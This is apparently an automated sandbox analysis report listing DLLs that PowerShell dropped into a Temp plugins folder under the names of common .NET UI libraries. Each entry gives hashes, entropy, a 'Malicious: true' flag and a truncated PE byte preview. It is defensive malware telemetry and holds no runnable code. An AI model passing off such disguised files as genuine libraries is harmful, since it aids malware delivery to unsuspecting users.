Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	71168
Entropy (8bit):	4.245922909736055
Encrypted:	false
SSDEEP:	1536:FMR0MjzmzIXXmWidBAHLcDci9mWONesiFkf2:FMR2zIXXmtdBAHLcHmWONuFkf2
MD5:	FE0D56E66BA7803BCD52853FDD9CF620
SHA1:	30FFE1425360F615199C873F00E38C258B2F0000
SHA-256:	6285380D0756B1E103CDC2A25CC0D39DE6384A999C6AC83CD7A43CC5DA9C3900
SHA-512:	18FA1C710F630354441170C365975D0E4638667DA47CD451C45CCAA3207F20209FCBA8813B84C17EB19E28F1DAC1414F117AD2D9B77959652F2ECE0221EA0656
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....>..........." ..0................. ...@....... ....................................`.................................:..O....@.......................`......T)..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................n......H........(.................. ....(......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s...%.r...po+...%.r...po+...%.rF..po+...%.rs..po+...%.r...po+...%.r...po+...%.r>..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Modern.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2378752
Entropy (8bit):	3.263884933481472
Encrypted:	false
SSDEEP:	12288:jAXHRikLA+r2Yw8PBnzPxgBOVYrv0OW3o3PTjrhpihw7A5Nsids/ohdVOXvAeeQF:jcHRa
MD5:	7C4E1C1B2AE9DAFC03C7C89B18E62D7B
SHA1:	86FC320D62C97DFEB03CCB014E77FC6B4AA18D91
SHA-256:	15F516085024F0E20870AA3634B032CD3AC28C5176923C9042B118CC5B940565
SHA-512:	64CFDDA09A39F46790D1793D7A92E49F0CEAE0D86EE72307D519F2F4DCF10FC070DF217B1286B2528C20E5888E2EDB58D7CC55619C8D88012AEAFEFF0A32E683
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...HZ............" ..0..B$.........Ra$.. ....$...... ........................$.......$...`..................................a$.O.....$.......................$......`$.8............................................ ............... ..H............text...XA$.. ...B$................. ..`.rsrc.........$......D$.............@..@.reloc........$......J$.............@..B................4a$.....H........o....#..........O$......_$.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..MM......s*...%.r...po+...%.r...po+...%.r...po+...%.ra..po+...%.r...po+...%.rq..po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Octicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	141312
Entropy (8bit):	4.077754815503617
Encrypted:	false
SSDEEP:	3072:rTFYvb7dz+/28PzB1PJsqGz2d4DjK7B7O1eqnAN2Qke6t4TNsKxdxLGvAPMdYa6t:navndz+/28PzBxJsqGz2d4DjK7B7O1ed
MD5:	0FF89297574034079C50C578DBE44402
SHA1:	B4D19084F569A858146F720EA2F09AF373D228FB
SHA-256:	0427C32C833F24E9B1E5F9BD04AEC538BAD9C2FD41BD1DA027390149040F41D0
SHA-512:	99DCA20EA913C13733127989914B18DF088C3272A8D4ECC311EC241B5E6E17827DCE6A80DBD92BD990ED9EFE1AA3501DB3B6CF344CC6E068C879DB4F8944971F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U............." ..0.............R<... ...@....... ...............................3....`..................................<..O....@.......................`.......;..8............................................ ............... ..H............text...X.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B................4<......H........-..............h..0....:......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M.......s...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.rG..po+...%.rw..po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PicolIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	757760
Entropy (8bit):	3.4394584442483143
Encrypted:	false
SSDEEP:	12288:wyV9okmKGPAvGbGXAttGXAtt0Km1koFklaDo1M6J+JbJQrQfZGQRDiWaV8L4icFK:wy
MD5:	7254B277A3C82102BE67C8750BDFD9D7
SHA1:	AF7F833B4278B3141CB9668D76D180A309EFBF30
SHA-256:	915BA8F7C8F0BBF9AF22D1BC066D62AAED424776B1EBA36E05C2E619EDE390BD
SHA-512:	8E42650BE284682D4AB37794186489D7770CB19F7217D10BA2BF6A1F9B72D68A25A397A0186F74FDA7C62F7842359BEDD3FDD33C0FD9EB010DA799EBC012CDAA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....xb..........." ..0................. ........... ..............................SU....`.................................p...O.......$...............................8............................................ ............... ..H............text....... ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B........................H.......lC..XP.............@...........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0... ......s*...%.r...po+...%.r...po+...%.r...po+...%.r'..po+...%.r4..po+...%.r...po+...%.r"..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PixelartIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	138752
Entropy (8bit):	4.368233012421734
Encrypted:	false
SSDEEP:	1536:MYFuVW7Yoq20bnSvvlzBjOJhueSKki6ZoDci0mLLVQSR8tF4HO:MYFug9wSnBQueSKki6ZoumfcF4HO
MD5:	65E9ECAF0C66785A4B0B2147683D258B
SHA1:	B718931AF23A815ACB1AB3FF72CCCD5DE7E40B21
SHA-256:	188F508445A69DDFCCE1DE0FCB1280BAC9B2DCF49F9AE62ED31BEE58947F0CAB
SHA-512:	FE2866A6D25843CE60CB0898EFB721485B7B0228C4525F7CCA21F5D76BC08A76F5CEB0787535349E0A1FAE8C5CD8374EF75066225B0122A446099DBF815B418C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...'W............" ..0..............3... ...@....... ....................................`..................................2..O....@..0....................`.......1..8............................................ ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................2......H........=............... ..`...L1......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M.......s*...%.r...po+...%.r...po+...%.r...po+...%.rd..po+...%.r3..po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RPGAwesome.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1267200
Entropy (8bit):	3.16825958717621
Encrypted:	false
SSDEEP:	12288:JmjwvIH+pUFN8XFPaIIjhPURfDXiTwXPO3+X9K9whyhYdupC/O16V1mQQlS1rhrz:J/hyhYdub/
MD5:	48D5482DD14D62BFC8C00535CEA3F3DE
SHA1:	13D4FBE8C2C90C5ED689439565D70CB7A6CA0FB2
SHA-256:	BCB00A4800779F373DC9BF2065820B864BEA6D3A28226829961560E97DC017C4
SHA-512:	49984E05E30FCBD7371CF5572A51B4349E0E1E1929DBAD0467A9DBD1D57585F5B0608424D7FC0392495024AE6D9E6E1460C521DFC8051F07654C1FD631347CD5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B.c..........." ..0..L..........fk... ........... ..............................dJ....`..................................k..O.......$...........................(j..8............................................ ............... ..H............text...lK... ...L.................. ..`.rsrc...$............N..............@..@.reloc...............T..............@..B................Hk......H.......D@..............@Y..h....i......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..}.......s*...%.r...po+...%.r...po+...%.r...po+...%.r+..po+...%.r.U.po+...%.rQ^.po+...%.r.b.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RadixIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	614912
Entropy (8bit):	3.252345042359741
Encrypted:	false
SSDEEP:	6144:FXQ0jlAHuPo6S1vEbtHEl1/tjEyv9Gyj6fj55TEk820T4XEYJQJAm4+:pQelEbv8r/TEk8rL
MD5:	8260BEA4F20A89AD126E249A3DA00F29
SHA1:	DF83ADA61417A4AE3D560BF715F033AF350D34DF
SHA-256:	1061370BB5C336317E1B0335EB42C980F7FFED28017A96A9D22A6712E0EE7E57
SHA-512:	0F180C1FE209196198A08CA1859459DFBF6003673B399BC09EB81DDE59AD18CCD43C86226A9DBDBD0F17542E5BC6CB81AB0EDF5AB4761DC4D740D320CCCCDA46
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...#j............" ..0..X...........w... ........... ....................................`..................................w..O.......$............................v..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc...$............Z..............@..@.reloc...............`..............@..B.................w......H........4...0...........e..h....v......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s*...%.r...po+...%.r...po+...%.rj..po+...%.r...po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RemixIcon.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2151424
Entropy (8bit):	3.3804951783405306
Encrypted:	false
SSDEEP:	12288:NldbeqYq6t7rX0uOaRagCvhn9SgxCV/WnmPmjaRdwgF0Ax85uGs/WwJcZ/15Omsc:NldT1
MD5:	5543BBEB035E0234362386715CDB1BA5
SHA1:	352D85E80949B08C73B64C330F4343D087F77A53
SHA-256:	0E53542D37CFA875A7A1718E98E471F09F9601B5DE8BB4D5A3C0B55F817913AA
SHA-512:	CA0E509D84F8EED8959B4BFBD247D730399BDBFDA38DF42F8356E5E0F773A55F32B5AB28287BCA483DE363007A09043CEC4D2891705161D160C2F87BC5CA80E2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...PKC..........." ..0... ........... .. ....!...... .......................@!.....8)!...`.................................R. .O.....!...................... !.....h. .8............................................ ............... ..H............text..... .. .... ................. ..`.rsrc.........!....... .............@..@.reloc....... !....... .............@..B.................. .....H.......D...D' ........... .`..... .....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..}.......s*...%.r...po+...%.r...po+...%.r:..po+...%.r_..po+...%.rb..po+...%.r...po+...%.r~..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.SimpleIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	6172672
Entropy (8bit):	3.180343425279423
Encrypted:	false
SSDEEP:	12288:N4eloJM2aqvHcja5h3Y8YAdRAP72ObgUJ50EAHSH3hNF6D+fOO/2x2QRcpBndnmi:NphHNHhiehBxJx99HMeUG
MD5:	6CC4F16086D2C40FB1C3119CFAD11626
SHA1:	99D16F2A2064DB9606B56550D8C67E629E5B79ED
SHA-256:	976BE1FA97DB8707E14AA8A93C2B8E8762AE09EB225B457EF9ED0F219FDB3C00
SHA-512:	A1E1B629A23013063C9E7989D0FF12070BFD1D2F796E8A4FE80260D8071712D1BBA12E1E8FEB938F441774462D151BD4EF8D82C63B2732AFA44E3DDAA65607D0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[.>..........." ..0..&^..........E^.. ...`^...... ........................^.......^...`..................................E^.O....`^.$.....................^......D^.8............................................ ............... ..H............text....%^.. ...&^................. ..`.rsrc...$....`^......(^.............@..@.reloc........^.......^.............@..B.................E^.....H............]..........3^.P...4D^.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Typicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	563200
Entropy (8bit):	3.3288301950563457
Encrypted:	false
SSDEEP:	12288:qGe5gYfiN6Ay4GqA5pN5IzurlKgJz2/anP0hdVMHTaXylsUZoFwRQp5K/rp4z4iT:qG
MD5:	09B35B9088BD54F29E6471CFAA4BEE2B
SHA1:	326DFDC93DC4E3F032A1C0D661987EA2DAB7AD4E
SHA-256:	736B84E163DC8C0C0C97E96DA555D665D63DCC8F052E5A859CB89813C33289B1
SHA-512:	43CBE8429C651364980C4084CE4E4592AF314D721F88D9F4758421F6B4EEAC528F4CBC637D97225908FBFBFF6962265D60CBA36B6F61F23C06E307A6310DCB7C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../............" ..0.................. ........... ...............................B....`.................................0...O...................................H...8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................d.......H.......T6...d..........p...X..........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s*...%.r...po+...%.r...po+...%.rr..po+...%.r...po+...%.rV..po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Unicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1272832
Entropy (8bit):	3.664464149446267
Encrypted:	false
SSDEEP:	6144:kEtBIBWbSlpPDyfiwqa0++lqF7f9wolWjA4n6rMkmEIAkEt07nNriym5FKcWyrXD:k8mTlDD
MD5:	688FA8EEC2B2D2D292E64320FFA1809A
SHA1:	E14DEC97E7BEF74B1C455AB781CBE981D5AD853D
SHA-256:	53EB7E28A4E1A6933E050D3F6980EED801CC543DACB7AB643D99713550D091E8
SHA-512:	8A4BFA83B82169D5294EB571B8A05A5733C8F47C6C28FFDC990B9AA66746C119583A75BD1135B9E0D771C4A069829809981E247BEBF549FE9A7ED4CA79B3C6F3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..b.............. ........... ..............................v.....`.................................v...O.......................................8............................................ ............... ..H............text....a... ...b.................. ..`.rsrc................d..............@..@.reloc...............j..............@..B........................H.......\l...............o.. ...........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0...I......s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.rh..po+...%.rU..po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.VaadinIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	577536
Entropy (8bit):	3.7752603197949424
Encrypted:	false
SSDEEP:	6144:cb4bakUn8H8RtYNl0QYEFAEHCwsMRk1tkrlkEtkjVEY2h9tL9t3qEMnTMsUpG2Va:LE8HCYNWQY2GEkfkZkekmAYsUpZytZ
MD5:	55044C329F5242D9B7EF50145D06653D
SHA1:	4799730EE9AC0DAA2D99DC0C9F7632F30E3D1F6F
SHA-256:	2F7F03B46ABB9B240B66C187D1E21AFE650718430CFCAAEFDDEDA47FB187F40F
SHA-512:	AF8E5A98866AC6E24AAFFF89BE8966A990B5CA0B59CAAC06FD3D89B57AEA5475582A54D586FE9893BF03863CC32DC878F0FF4FE6BBE4BD8EF0A4F9020DDB63AF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ............" ..0.................. ........... .......................@............`.................................b...O.......$.................... ......t...8............................................ ............... ..H............text........ ...................... ..`.rsrc...$...........................@..@.reloc....... ......................@..B........................H........I..h...........\|...x...........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M&......s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.rc..po+...%.r>..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.WeatherIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	730112
Entropy (8bit):	3.1284338485888097
Encrypted:	false
SSDEEP:	6144:ophG2LkDhyGK3mcsLSytpIZoMp59BMMDlRjrE20qak6eADz3Nd/hI9owI43nAtvl:mw
MD5:	61970FDEDFF9372496C252DBD4AE6A11
SHA1:	41BA695CB14AE60E543334FE3906BC4C2D7D419F
SHA-256:	74D6679DBAF1BE1EE9586FC9A400007940F401E453475FF5F8079E613B3FE88E
SHA-512:	DD76E3EFF8ABB32F6AEA5A90CF6E537FDB72B2A01881BB03307A706D5CA8D3C618A36CE83819A7CEFE9E6BE0E72CDC89521489E96C3CAFEDC0CAD4DC06EBB0A4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............9... ...@....... ....................................`..................................8..O....@..0....................`.......7..8............................................ ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......."..............@..B.................8......H...........$............&..X...H7......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..=.......s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r'$.po+...%.r&/.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Zondicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	109568
Entropy (8bit):	4.342972826555346
Encrypted:	false
SSDEEP:	3072:/nOwe87QoDDlvxlHueWexbALmBO0FMX+:/nOrfoD4mBO7u
MD5:	81233EAE6B8FAF11E1390F7DCAF6319F
SHA1:	33AC886696E727AC4169547C41CA54AF7355C7AD
SHA-256:	73F17D81C47F4036D23ED5D5701594C204F6807ABCFAA785E5515910B160776F
SHA-512:	0372EDB69E15878C830DF108CC24BA091AEDE723B7DB3BB06BA057419EF4EB3E47B03CDA8E5582A53A0506C035CFCCE211FE727351AB767851936C3088244883
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ........... ....................... ......J.....`.................................F...O...................................\...8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................z.......H........3...{..............8..........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s*...%.r...po+...%.r...po+...%.r...po+...%.r}..po+...%.r...po+...%.r...po+...%.rP..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	42496
Entropy (8bit):	6.045230532328054
Encrypted:	false
SSDEEP:	768:SMFVB5FdppFlxZFdpmkFVBZF97NJFFR5bIEIxwdsIjyjikikmb2Uf:fLIEIxwuIejYkmb2Uf
MD5:	F9FFAA2A38F2BD73E9C16EA1ACA6331B
SHA1:	7A2CE4F615B5F08A1017864ACAF36844F1F76C60
SHA-256:	AB059CF8677721EEC80AC75295B42750E7850DEDE889E84D0432E153F5BCC691
SHA-512:	EF55C6BEBB52821C4CEC735C199425E4B6B641EECBA3002648CADF8CAEEB1BA24A92DCFB84D52B8089D42D3CCCF565CB990576BE1638417C342BA828751F1D49
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....2..........." ..0.................. ........... ..............................D.....`.....................................O......................................8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........?..X>...........~..@;..P.......................................r..(......(.......t....o....F.~....(....t....6.~.....(........0..Y.......r...p.....(.........(............s....s....(.........~.........(.........(....s....o .....(!...J.~..........("....0..8........(....,(..(....o#...%-.&+..(......o$...&..(%.....(%....~....z(....-........s&...s'...........0..........s(....()...o*....+ .o+.......(,.... .....(-...o.....o/...-....,..o0....(1...o2....+!.o3........(

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignColors.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	302080
Entropy (8bit):	5.957227797447102
Encrypted:	false
SSDEEP:	1536:mruHdH5tBL0uVWkwT+zl2IVDDU7fKoVxbds1UK:lVWuVWd+E7fKoVxbFK
MD5:	01A9E121917C0B03878D6D38FAB65B4F
SHA1:	AA7BF2EDABD7B01101B72A0FAEB2A1669FAB55F3
SHA-256:	D4360D786D921E21F9EFEE7F4C92D953784F5CCB195C49EB718DE36C3699CC6A
SHA-512:	AE7D2ADE379090C6FDA41DFA108562F8DD823F2AF251C9B4D3307784CB9EE99E9D1FD17A28014B62E77F9A8A8ECF70F31A9E1D9242389420B4F24631AE6F47CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...]=............" ..0.............z.... ........... ....................................`.................................%...O.......D...............................T............................................ ............... ..H............text........ ...................... ..`.rsrc...D...........................@..@.reloc..............................@..B................Y.......H........g..L........... ,..p.............................................{......{....V.(......}......}.......0..A........u........4.,/(.....{.....{....o....,.(.....{.....{....o....... TW.+ )UU.Z(.....{....o ...X )UU.Z(.....{....o!...X...0..b........r...p......%..{.......%q.........-.&.+.......o"....%..{.......%q.........-.&.+.......o"....(#.....($.....($...^.($......7...%...}....:.($.....}....:.($.....}......{...."..}......{...."..}......s.......0..........

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignThemes.Wpf.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9102336
Entropy (8bit):	5.378579568425784
Encrypted:	false
SSDEEP:	98304:2iXJDntBksKY+ND3WyA4+TLVei10vMzPv8/4C8B5XVS49Xzy83IiEcJMrCR2fShW:2cnJ45/9iD54+V11bFv4z
MD5:	512D66BEA27476F776E32EE5F766B8DE
SHA1:	6B54C6E26A45A487E294C6AE1EB9E54327D37E4F
SHA-256:	BFE82BD0BE7E708C1FB24B9C178ED0C5F5931954B41D0C493D14CD40225A3451
SHA-512:	034AE0916A4863A8966375F7F3F2ACA64A877137628EE250C3C8AEC65E17EE7C575974FB3994F86515AE21931D21700071A69DE974758CF5D1220D700C6CC39F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=............" ..0................. ........... .......................@............`.................................-...O.......\.................... ..........T............................................ ............... ..H............text....... ..................... ..`.rsrc...\..........................@..@.reloc....... .....................@..B................a.......H.......t...@.Q..........8U..5...........................................{2.....{3...V.(4.....}2.....}3......0..A........u........4.,/(5....{2....{2...o6...,.(7....{3....{3...o8...... Tg^. )UU.Z(5....{2...o9...X )UU.Z(7....{3...o:...X...0..b........r...p......%..{2......%q.........-.&.+.......o;....%..{3......%q.........-.&.+.......o;....(<.....(=.....(=...^.(=..........%...}....:.(=.....}....:.(=.....}....2.~....(>...6.~.....(?...F.~....(>...t(...6.~.....(?.

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	5.532225695491235
Encrypted:	false
SSDEEP:	384:G/1sEGq5irZjixsoI+erkw8VC9TkiO3/Pe7fqHYRaBZ28MFXCTDVpLRdCaBhkcvz:1EP0dpoPe4qTkB3jYR+Z9xptdjwct
MD5:	6F53AE07BC7D450B3578446AE14D170D
SHA1:	CD896DF10169648B88D9022A3C9CC7EAFE2E2F54
SHA-256:	09C4D1DF3204CCC8D809F537A4E5CA2618BE892D1EE7EDBCC3C26FD9352CCC26
SHA-512:	03A039F10B86D70292F60E24A8AC9F986C5D73A44C65C6436170274FC74AD85B50B9449DE9F4E966D127043F13135EC1336C13D35DB033DD4F63C95A86CDD1AD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p..b.........." ..0..Z..........zx... ........... ....................................`.................................(x..O.......h............................v............................................... ............... ..H............text....X... ...Z.................. ..`.rsrc...h............\..............@..@.reloc...............b..............@..B................\x......H.......X5...@...........u...............................................0..-........~....(....,................(....(.............0..$............(....(....(......q......(...+..0...........M~....(....,...........M.(...+.M( ....~........0..K........~....(....,..,. W...s....z..5........+.....(!...(".....(#...X...X..j.n2..*..0...........!...(....(....($.............(....(....($.............(....(....($.............(....(....j..........(....(....($.............(....(....j...

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Sensors.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	44544
Entropy (8bit):	5.712724017724719
Encrypted:	false
SSDEEP:	768:qImOio+oGouoWoeoWo+o1odo4So1oFoNoFololodoVoFoJhISYOAKgprlDVk+0aO:0aew8agEJ5orVWHnTOzho
MD5:	9D3DAED8E20EECA9884DE625D7645A55
SHA1:	39998CF67B4CE90ED9CA9EB7128C91C0A829D44D
SHA-256:	10FE2F6302E9F12BE3D602C78634B119B5540C373CEDFD3C3738AFED66FB925D
SHA-512:	A5B403259DDABCDECB904707847549F48E1F127D3732C2371308936C97C94B222760FBEB72B1F7F0E18E240FAB2A1520950059D4BA6C27CA0F13018BA8773AEE
Malicious:	true
